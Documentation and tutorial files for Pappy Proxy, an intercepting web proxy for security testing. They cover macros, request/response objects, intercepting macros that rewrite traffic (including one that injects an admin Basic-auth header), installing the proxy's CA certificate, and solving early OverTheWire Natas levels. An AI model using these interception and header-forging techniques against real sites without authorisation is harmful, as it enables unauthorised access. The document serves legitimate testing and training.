Proxy is listening on port 8000
itsPappyTime> lma
Loaded "<Macro Test Macro (tm/test)>"
Loaded "<Macro Macro 6494496 (testgen)>"
Loaded "<Macro Print Macro (print)>"
Loaded "<Macro Hack the NSA (htnsa/hackthensa)>"
Loaded "<Macro Macro 62449408 (blank)>"
itsPappyTime> rma print
Hello, Pappy!
itsPappyTime> rma print NSA
Hello, NSA!
itsPappyTime> rma print Idiot Slayer
Hello, Idiot!
itsPappyTime> rma print "Idiot Slayer"
Hello, Idiot Slayer!
You'll need to run ``lma`` every time you make a change to the macro in
order to reload it. In addition, any code outside of the ``run_macro``
function will be run when it the macro gets loaded.
Generating Macros From Requests
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
You can also generate macros that have Pappy ``Request`` objects created
with the same information as requests you've already made. For example:
::
$ pappy
Proxy is listening on port 8000
itsPappyTime> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
5 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 -- --
4 GET vitaly.sexy /netscape.gif 200 OK 0 1135 -- --
3 GET vitaly.sexy /construction.gif 200 OK 0 28366 -- --
2 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 -- --
1 GET vitaly.sexy / 200 OK 0 1201 -- --
itsPappyTime> gma sexy 1
Wrote script to macro_sexy.py
itsPappyTime> quit
$ cat macro_sexy.py
from pappyproxy.http import Request, get_request, post_request
MACRO_NAME = 'Macro 94664581'
SHORT_NAME = ''
###########
## Requests
req0 = Request((
'GET / HTTP/1.1\r\n'
'Host: vitaly.sexy\r\n'
'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
'Accept-Language: en-US,en;q=0.5\r\n'
'Accept-Encoding: gzip, deflate\r\n'
'Connection: keep-alive\r\n'
'Pragma: no-cache\r\n'
'Cache-Control: no-cache\r\n'
'\r\n'
))
def run_macro(args):
# Example:
# req = req0.copy() # Copy req0
# req.submit() # Submit the request to get a response
# print req.response.raw_headers # print the response headers
# req.save() # save the request to the data file
# or copy req0 into a loop and use string substitution to automate requests
pass
$
If you enter in a value for ``SHORT_NAME``, you can use it as a shortcut
to run that macro. So if in a macro you set ``SHORT_NAME='tm'`` you can
run it by running ``itsPappyTime> rma tm``.
+--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+==========================+===============================+=====================================================================================================================================+
| ``lma [dir]`` | ``load_macros``, ``lma`` | Load macros from a directory. If ``dir`` is not given, use the current directory (the project directory) |
+--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
| ``rma <macro name>`` | ``run_macro``, ``rma`` | Run a macro with the given name. You can use the shortname, filename, or long name. |
+--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
| ``gma <name> [id(s)]`` | ``generate_macro``, ``gma`` | Generate a macro with the given name. If request IDs are given, the macro will contain request objects that contain each request. |
+--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
| ``rpy <id(s)>`` | ``rpy`` | Print the Python object definitions for each of the given ids |
+--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
Request Objects
~~~~~~~~~~~~~~~
The main method of interacting with the proxy is through ``Request``
objects. You can submit a request with ``req.sumbit()`` and save it to
the data file with ``req.save()``. The objects also have attributes
which can be used to modify the request in a high-level way.
Unfortunately, I haven't gotten around to writing full docs on the API
and it's still changing every once in a while so I apologize if I pull
the carpet out from underneath you.
Dict-like objects are represented with a custom class called a
``RepeatableDict``. I haven't gotten around to writing docs on it yet,
so just interact with it like a dict and don't be surprised if it's
missing some methods you would expect a dict to have.
Here is a quick (non-comprehensive) list of attributes that you can use
with ``Request`` objects:
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| Attribute | Settable? | Data Type | Description |
+=================+=============+==================+=================================================================================================================+
| cookies | Yes | RepeatableDict | Cookies sent in the request |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| fragment | Yes | String | The url fragment (The text after the #) |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| full\_path | No | String | The path including url params and the fragment |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| full\_request | No | String | The full request including headers and data |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| headers | Yes | RepeatableDict | The headers of the request |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| host | Yes | String | The host that the request is sent to |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| is\_ssl | Yes | Bool | Whether the request is/was sent over SSL |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| path | Yes | String | The document path (ie www.a.com/this/is/the/path) |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| port | Yes | Integer | The port the request is/was sent to |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| post\_params | Yes | RepeatableDict | Post parameters |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| raw\_data | Yes | String | The data part of the request |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| raw\_headers | No | String | The text of the headers section of the request |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| reqid | Yes | Integer | The ID of the request. If set when save() is called, it replaces the request with the same id in the database |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| response | Yes | Response | The associated response for the request |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| rsptime | No | Datetime Delta | The time it took to complete the request. Set when submit() is called |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| status\_line | Yes | String | The status line of the request (ie 'GET / HTTP/1.1') |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| time\_end | Yes | Datetime | The time when the request was completed |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| time\_start | Yes | Datetime | The time when the request was started |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| unmangled | Yes | Request | If the request was mangled, the unmangled version of the request |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| url | Yes | String | The URL of the request (ie 'https://www.google.com') |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| url\_params | Yes | RepeatableDict | The URL parameters of the request |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| verb | Yes | String | The verb used for the request (ie GET, POST, PATCH, HEAD, etc). Doesn't have to be a valid verb. |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| version | Yes | String | The version part of the status line (ie 'HTTP/1.1') |
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
Request methods:
+------------+-------------------------------------------------------------------------------------------------------------------------------+
| Function | Description |
+============+===============================================================================================================================+
| submit() | Submit the request through the proxy. Does not save the request to the data file |
+------------+-------------------------------------------------------------------------------------------------------------------------------+
| save() | Save the request, its unmangled version, its associated response, and the unmangled version of the response to the database |
+------------+-------------------------------------------------------------------------------------------------------------------------------+
And here is a quick (non-comprehensive) list of attributes that you can
use with ``Response`` objects:
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Attribute | Settable? | Data Type | Description |
+==================+=============+==================+=================================================================================================================================================================================+
| cookies | Yes | RepeatableDict | Cookies set by the response |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| headers | Yes | RepeatableDict | The headers of the response |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| response\_code | Yes | Integer | The response code of the response |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| response\_text | Yes | String | The text associated with the response code (ie OK, NOT FOUND) |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| rspid | Yes | Integer | The response id of the response. If this is the same as another response in the database, calling save() on the associated request will replace that response in the database |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| unmangled | Yes | Response | If the response was mangled, this will refer to the unmangled version of the response. Otherwise it is None |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| version | Yes | String | The version part of the status line of the response (ie 'HTTP/1.1') |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| raw\_headers | No | String | A text version of the headers of the response |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| status\_line | Yes | String | The status line of the response |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| raw\_data | Yes | String | The data portion of the response |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| full\_response | No | String | The full text version of the response including headers and data |
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Like I said, these interfaces are prone to change and will probably
crash when you use them. If you get a traceback, send me an email so I
can fix it.
Useful Functions
~~~~~~~~~~~~~~~~
There are also a few functions which could be useful for making
requests.
+-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
| Function | Description |
+=======================================================+=============================================================================================================+
| get\_request(url, url\_params={}) | Returns a Request object that contains a GET request to the given url with the given url params |
+-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
| post\_request(url, post\_params={}, url\_params={}) | Returns a Request object that contains a POST request to the given url with the given url and post params |
+-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
Intercepting Macros
-------------------
Intercepting macros let you mangle requests as they pass through the
proxy. Similarly to normal macros, an intercepting macro is any python
script with an "int" prefix. For example, ``int_name.py`` would be a
valid intercepting macro name. They are also loaded with the ``lma``
command. An intercepting macro can define two functions:
``mangle_request`` or ``mangle_response``. Both requests only take a
``Request`` object as a parameter. ``mangle_request`` returns either a
new, modified Request object to change it, or it can return the original
object to not mangle it. The ``mange_response`` must return a
``Response`` (not request!) object. The request passed in to
``mangle_response`` will have an associated response with it. If you
want to modify the response, copy ``request.response``, make
modifications, then return it. If you would like to pass it through
untouched, just return ``request.response``.
Note, that due to twisted funkyness, *you cannot save requests from
intercepting macros*. Technically you **can**, but to do that you'll
have to define ``async_mangle_request`` (or response) instead of
``mangle_request`` (or response) then use ``Request.async_deep_save``
which returns a deferred, then return a deferred from
``async_mangle_requests`` (inline callbacks work too). If you've never
used twisted before, please don't try. Twisted is hard.
Confusing? Here are some example intercepting macros:
::
## int_cloud2butt.py
import string
MACRO_NAME = 'Cloud to Butt'
def mangle_response(request):
r = request.response.copy()
r.raw_data = string.replace(r.raw_data, 'cloud', 'butt')
r.raw_data = string.replace(r.raw_data, 'Cloud', 'Butt')
return r
::
## int_donothing.py
import string
MACRO_NAME = 'Do Nothing'
def mangle_request(request):
return request
def mangle_response(request):
return request.response
::
## int_adminplz.py
from pappyproxy.http import ResponseCookie
from base64 import base64encode as b64e
import string
MACRO_NAME = 'Admin Session'
def mangle_request(request):
r = request.copy()
r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123')
return r
Enabling/Disabling Intercepting Macros
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
You can use the following commands to start/stop intercepting macros
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+========================+====================================+======================================================================================================================+
| ``lma [dir]`` | ``load_macros``, ``lma`` | Load macros from a directory. If ``dir`` is not given, use the current directory (the project directory) |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| ``rim <macro name>`` | ``run_int_macro``, ``rim`` | Run an intercepting macro. Similarly to normal macros you can use the name, short name, or file name of the macro. |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| ``sim <macro name>`` | ``stop_int_macro``, ``sim`` | Stop an intercepting macro. |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| ``lim`` | ``list_int_macros``, ``lim`` | List all enabled/disabled intercepting macros |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| ``gima <name>`` | ``generate_int_macro``, ``gima`` | Generate an intercepting macro with the given name. |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
Additional Commands
-------------------
This is a list of other random stuff you can do that isn't categorized
under anything else. These are mostly commands that I found that I
needed while doing a test and just added. They likely don't do a ton of
error checking and are likely not super full-featured.
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+========================================+=====================+=======================================================================================================================================================+
| ``dump_response <reqid> [filename]`` | ``dump_response`` | Dumps the data from the response to the given filename (useful for images, .swf, etc). If no filename is given, it uses the name given in the path. |
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``export <req|rsp> <reqid>`` | ``export`` | Writes either the full request or response to a file in the current directory. |
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
Logging
-------
You can watch in real-time what requests are going through the proxy.
Verbosisty defaults to 1 which just states when connections are
made/lost and some information on what is happening. If verbosity is set
to 3, it includes all the data which is sent through the proxy and
processed. It will print the raw response from the server, what it
decodes it to, etc. Even if you don't run this command, all the
information is stored in the dubug directory (the directory is cleared
every start though!)
+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Description |
+=======================+===============================================================================================================================================================================================================================+
| ``log [verbosity]`` | View the log at the given verbosity. Default verbosity is 1 which just shows connections being made/lost and some other info, verbosity 3 shows full requests/responses as they pass through and are processed by the proxy |
+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

133
docs/source/pappyproxy.rst Normal file
View file

@ -0,0 +1,133 @@
pappyproxy package
==================
..
Subpackages
-----------
.. toctree::
pappyproxy.schema
pappyproxy.templates
pappyproxy.tests
pappyproxy.vim_repeater
Submodules
----------
..
pappyproxy.comm module
----------------------
.. automodule:: pappyproxy.comm
:members:
:noindex:
:undoc-members:
:show-inheritance:
pappyproxy.config module
------------------------
.. automodule:: pappyproxy.config
:members:
:undoc-members:
:show-inheritance:
pappyproxy.console module
-------------------------
.. automodule:: pappyproxy.console
:members:
:undoc-members:
:show-inheritance:
pappyproxy.context module
-------------------------
.. automodule:: pappyproxy.context
:members:
:undoc-members:
:show-inheritance:
pappyproxy.http module
----------------------
.. automodule:: pappyproxy.http
:members:
:undoc-members:
:show-inheritance:
pappyproxy.iter module
----------------------
.. automodule:: pappyproxy.iter
:members:
:undoc-members:
:show-inheritance:
..
pappyproxy.macros module
------------------------
.. automodule:: pappyproxy.macros
:members:
:undoc-members:
:show-inheritance:
pappyproxy.mangle module
------------------------
.. automodule:: pappyproxy.mangle
:members:
:undoc-members:
:show-inheritance:
pappyproxy.pappy module
-----------------------
.. automodule:: pappyproxy.pappy
:members:
:undoc-members:
:show-inheritance:
pappyproxy.proxy module
-----------------------
.. automodule:: pappyproxy.proxy
:members:
:undoc-members:
:show-inheritance:
pappyproxy.repeater module
--------------------------
.. automodule:: pappyproxy.repeater
:members:
:undoc-members:
:show-inheritance:
pappyproxy.session module
-------------------------
.. automodule:: pappyproxy.session
:members:
:undoc-members:
:show-inheritance:
pappyproxy.util module
----------------------
.. automodule:: pappyproxy.util
:members:
:undoc-members:
:show-inheritance:
..
Module contents
---------------
.. automodule:: pappyproxy
:members:
:undoc-members:
:show-inheritance:

View file

@ -0,0 +1,46 @@
pappyproxy.schema package
=========================
Submodules
----------
pappyproxy.schema.schema_1 module
---------------------------------
.. automodule:: pappyproxy.schema.schema_1
:members:
:undoc-members:
:show-inheritance:
pappyproxy.schema.schema_2 module
---------------------------------
.. automodule:: pappyproxy.schema.schema_2
:members:
:undoc-members:
:show-inheritance:
pappyproxy.schema.schema_3 module
---------------------------------
.. automodule:: pappyproxy.schema.schema_3
:members:
:undoc-members:
:show-inheritance:
pappyproxy.schema.update module
-------------------------------
.. automodule:: pappyproxy.schema.update
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: pappyproxy.schema
:members:
:undoc-members:
:show-inheritance:

View file

@ -0,0 +1,30 @@
pappyproxy.templates package
============================
Submodules
----------
pappyproxy.templates.intmacro module
------------------------------------
.. automodule:: pappyproxy.templates.intmacro
:members:
:undoc-members:
:show-inheritance:
pappyproxy.templates.macro module
---------------------------------
.. automodule:: pappyproxy.templates.macro
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: pappyproxy.templates
:members:
:undoc-members:
:show-inheritance:

View file

@ -0,0 +1,62 @@
pappyproxy.tests package
========================
Submodules
----------
pappyproxy.tests.test_context module
------------------------------------
.. automodule:: pappyproxy.tests.test_context
:members:
:undoc-members:
:show-inheritance:
pappyproxy.tests.test_http module
---------------------------------
.. automodule:: pappyproxy.tests.test_http
:members:
:undoc-members:
:show-inheritance:
pappyproxy.tests.test_mangle module
-----------------------------------
.. automodule:: pappyproxy.tests.test_mangle
:members:
:undoc-members:
:show-inheritance:
pappyproxy.tests.test_proxy module
----------------------------------
.. automodule:: pappyproxy.tests.test_proxy
:members:
:undoc-members:
:show-inheritance:
pappyproxy.tests.test_session module
------------------------------------
.. automodule:: pappyproxy.tests.test_session
:members:
:undoc-members:
:show-inheritance:
pappyproxy.tests.testutil module
--------------------------------
.. automodule:: pappyproxy.tests.testutil
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: pappyproxy.tests
:members:
:undoc-members:
:show-inheritance:

View file

@ -0,0 +1,22 @@
pappyproxy.vim_repeater package
===============================
Submodules
----------
pappyproxy.vim_repeater.repeater module
---------------------------------------
.. automodule:: pappyproxy.vim_repeater.repeater
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: pappyproxy.vim_repeater
:members:
:undoc-members:
:show-inheritance:

723
docs/source/tutorial.rst Normal file
View file

@ -0,0 +1,723 @@
The Pappy Proxy Tutorial
************************
Table of Contents
=================
.. toctree::
tutorial
Getting Set Up
==============
Introduction
------------
This is a quick tutorial to get you started using Pappy like a pro. To do this, we'll be going through from `Natas <http://overthewire.org/wargames/natas/>`_. If you haven't done it yet and don't want it spoiled, I suggest giving it a try with Burp since we'll be telling you all the answers right off the bat.
Getting Started
---------------
The first thing you'll need to do is get Pappy installed.
Install from pypi::
$ pip install pappy
or install from source::
$ git clone --recursive https://github.com/roglew/pappy-proxy.git
$ cd pappy-proxy
$ pip install .
.. note::
Pappy only supports OS X and Linux! Nothing will work on Windows, sorry!
That was easy! Make a project directory anywhere for Natas and fire up Pappy.::
$ mkdir natas
$ cd natas
Copying default config to ./config.json
Proxy is listening on port 8000
itsPappyTime>
If you look at what's in the file, you'll notice that there's a ``data.db`` file and a ``config.json`` file.
* ``data.db`` is a SQLite file that stores all the (in-scope) requests that pass through the proxy
* ``config.json`` stores settings for the proxy
You don't need to touch either of these right now. Just hop back into Pappy.
Installing Pappy's CA Cert
--------------------------
In order to intercept HTTPS requests, you'll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.
To generate certificates, you'll use the ``gencerts`` command. This will generate certificates in Pappy's directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.::
itsPappyTime> gencerts
This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
(y/N) y
Generating certs to /home/anonymouse/pappy/pappyproxy/certs
Generating private key... Done!
Generating client cert... Done!
itsPappyTime>
The directory that the certs get put in may be different for you. Next, you'll need to add the generated ``certificate.crt`` file to your browser. This is different for each browser.
Installing the Cert in Firefox
++++++++++++++++++++++++++++++
1. Open Firefox
2. Go to ``Preferences -> Advanced -> View Certificates -> Authorities``
3. Click ``Import``
4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
Installing the Cert in Chrome
+++++++++++++++++++++++++++++
1. Open Chrome
2. Go to ``Preferences -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities``
3. Click ``Import``
4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
Installing the Cert in Safari
+++++++++++++++++++++++++++++
1. Use Finder to navigate to the directory where the certs were generated
2. Double click the cert and follow the prompts to add it to your system keychain
Installing the Cert in Internet Explorer
++++++++++++++++++++++++++++++++++++++++
1. No.
Configuring Your Browser
------------------------
Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won't cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in ``config.json``, but don't worry about that right now.
.. note::
Configure your browser extension to use the proxy server at **loalhost** on **port 8000**
Here are some proxy plugins that should work
* Firefox: `FoxyProxy <https://addons.mozilla.org/en-us/firefox/addon/foxyproxy-standard/>`_
* Chrome: `Proxy SwitchySharp <https://chrome.google.com/webstore/detail/proxy-switchysharp/dpplabbmogkhghncfbfdeeokoefdjegm?hl=en>`_
Testing it Out
--------------
Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your browser, then navigate to a website::
/pappynatas/ $ pappy -l
Temporary datafile is /tmp/tmp5AQBrH
Proxy is listening on port 8000
itsPappyTime> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
8 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.21 --
7 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.22 --
6 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 0.29 --
5 GET vitaly.sexy /netscape.gif 200 OK 0 1135 0.22 --
4 GET vitaly.sexy /construction.gif 200 OK 0 28366 0.26 --
3 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 1.34 --
2 GET vitaly.sexy / 200 OK 0 1201 0.21 --
1 GET vitaly.sexy / 301 Moved Permanently 0 178 0.27 --
itsPappyTime> quit
Deleting temporary datafile
Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!
The Tutorial
============
Setting the Scope
-----------------
The first thing we'll do is set up Pappy so that it only intercepts requests going to ``*.natas.labs.overthewire.org``::
itsPappyTime> filter host containsr "natas\.labs\.overthewire\.org$"
itsPappyTime> scope_save
What these commands do:
1. Make the current context only include requests whose host ends in ``natas.labs.overthewire.org``.
2. Save the current context as the scope
The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp ``natas\.labs\.overthewire\.org$``. When we save the scope, we're saying that any request that doesn't pass this regexp is out of scope and shouldn't be touched.
If this doesn't make sense, don't worry, we'll come back to this.
Natas 0
-------
First, go to `<http://natas0.natas.labs.overthewire.org>`_ and log in with the default creds of ``natas0`` / ``natas0``. You should see a site that says "You can find the password for the next level on this page". You don't need Pappy for this one.
1. Right click the page and select "view source"
2. Read the password for natas1
3. Visit `<http://natas1.natas.labs.overthewire.org>`_ and log in with the username ``natas1`` and the password you found.
Natas 1
-------
Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The two commands we'll learn here are ``ls``, ``vfq``, and ``vfs``.
* ``ls`` lists the most current requests that are in the current context. You'll be using this a lot to get the IDs of requests you want to do things with.
* ``vfq <reqid>`` prints the full request of a request you specify
* ``vfs <reqid>`` prints the full response to a request you specify
So to solve natas1, we'll want to view the full response to our request to the page::
itsPappyTime> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
16 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
15 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 --
13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
12 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
11 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
10 GET natas.labs.overthewire.org /img/wechall.gif 200 OK 0 9279 0.28 --
9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 --
8 GET natas.labs.overthewire.org /js/wechall-data.js 200 OK 0 564 0.48 --
7 GET natas.labs.overthewire.org /js/jquery-ui.js 200 OK 0 435844 1.37 --
6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 --
4 GET natas.labs.overthewire.org /css/wechall.css 200 OK 0 677 0.48 --
5 GET natas.labs.overthewire.org /css/jquery-ui.css 200 OK 0 32046 0.49 --
3 GET natas.labs.overthewire.org /css/level.css 200 OK 0 1332 0.48 --
2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 --
1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
itsPappyTime> vfs 14
HTTP/1.1 200 OK
Date: Fri, 18 Dec 2015 19:47:21 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Fri, 14 Nov 2014 10:32:33 GMT
ETag: "427-507cf258a5240-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 1063
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
... snip ...
<!--The password for natas2 is [password] -->
... snip ...
itsPappyTime>
Yay!
Natas 2
-------
When you visit this page, you get a message saying "There is nothing on this page". That is probably a blatant lie. Let's see what was in that response.::
itsPappyTime> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 --
27 GET natas2.natas.labs.overthewire.org / 200 OK 0 872 0.27 --
26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 --
... snip ...
itsPappyTime> vfs 27
HTTP/1.1 200 OK
... snip ...
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>
itsPappyTime>
So the only suspicious thing is ``<img src="files/pixel.png">``. I'll let you figure out the rest ;)
Natas 3
-------
This one doesn't require Pappy. Just view the ``robots.txt`` file.
Finding Your Passwords Later (How to Use Filters)
-------------------------------------------------
This section will explain how to use Pappy's filters to find passwords to levels you've already completed. Every in-scope request and response that goes through Pappy is stored in the ``data.db`` file in your project directory. We can use filter commands to search through these requests to find resposes with passwords.
Filters
+++++++
Here are the commands we'll learn:
1. ``filter <filter string>`` / ``f <filter string>`` Add a filter that limits which requests are included in the current context
2. ``fu`` Remove the most recently applied filter
3. ``sr`` Reset the context so that it matches the scope
4. ``filter_clear`` Remove all filters from the context, including the filters applied by the scope
5. ``fls`` Show all currently applied filters
The most complicated of these is the ``filter`` command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn't pass the filter will be removed from the context. Most filter strings are of the format ``<field> <comparer> <value>``. For example::
host is www.target.org
field = "host"
comparer = "is"
value = "www.target.org"
This filter will only match requests whose host is exactly ``www.target.org``. When defining our scope, we applied a filter using a ``containsr`` comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:
Commonly used fields
* ``all`` The full text of the request and the response
* ``host`` The hostname of where the request is sent
* ``path`` The target path of the request. ie ``/path/to/page.php``
* ``verb`` The HTTP verb. ie ``POST`` or ``GET`` (case sensitive!)
* ``body`` The data section (the body) of either the request or the response
Commonly used comparers
* ``is <value>`` The field exactly matches the value
* ``contains <value>`` / ``ct <value>`` The field contains a value
* ``containsr <regexp>`` / ``ctr <regexp>`` The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line
You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation.
Once you've applied some filters, ``ls`` will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use ``sr``. If you want to remove the last applied filter, use ``fu``.
Finding Passwords
+++++++++++++++++
While we can't find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly
For natas0 and natas1, the responses had a phrase like "the password is abc123". So we can filter out anything that doesn't have the word "password" in it.::
itsPappyTime> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
52 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
51 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
50 GET natas4.natas.labs.overthewire.org / 200 OK 0 1019 0.27 --
49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 --
48 GET natas3.natas.labs.overthewire.org /s3cr3t/users.txt 200 OK 0 40 0.27 --
46 GET natas3.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.53 --
47 GET natas3.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.53 --
45 GET natas3.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.53 --
44 GET natas3.natas.labs.overthewire.org /s3cr3t/ 200 OK 0 957 0.26 --
43 GET natas3.natas.labs.overthewire.org /s3cr3t 301 Moved Permanently 0 354 0.27 --
42 GET natas3.natas.labs.overthewire.org /robots.txt 200 OK 0 33 0.29 --
41 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
40 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.28 --
39 GET natas3.natas.labs.overthewire.org / 200 OK 0 923 0.26 --
38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 --
37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 --
